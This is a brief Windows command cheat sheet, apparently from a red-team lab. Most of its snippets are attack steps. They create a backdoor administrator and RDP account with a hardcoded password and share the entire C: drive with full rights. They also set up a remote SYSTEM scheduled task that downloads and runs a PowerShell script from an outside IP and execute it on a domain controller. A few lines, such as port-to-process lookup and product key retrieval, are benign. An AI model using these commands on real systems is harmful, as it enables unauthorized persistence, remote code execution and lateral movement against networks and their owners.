Windows

Adding user

Adding a user to the system as a member of local admin and RDP groups with a bat script

net user /add libertyunix L3tm31nplz
net localgroup administrators libertyunix  /add
net localgroup "Remote Desktop Users" libertyunix  /add
net share concfg*C:\/grant:libertyunix ,full
net share SHARE_NAME=c:\ /grant:libertyunix ,full

Retrieving product keys

Open low level command prompt:

wmic path softwarelicensingservice get OA3xOriginalProductKey

Which process is listening on a port

CMD

C:\> netstat -a -b

Powershell

Get-Process -Id (Get-NetTCPConnection -LocalPort portNumber).OwningProcess

Creating a Scheduled Task

schtasks /create /S admin.domain.local /SC Weekly /RU "NT Authority\SYSTEM" /TN "taskname" /TR "powershell.exe -c 'iex (New-Object Net.WebClient).DownloadString(''http://172.16.100.211/Invoke-PowerTCP.ps1''')'"

schtasks /Run /S dcorp-dc.dollarcorp.moneycorp.local /TN "taskname"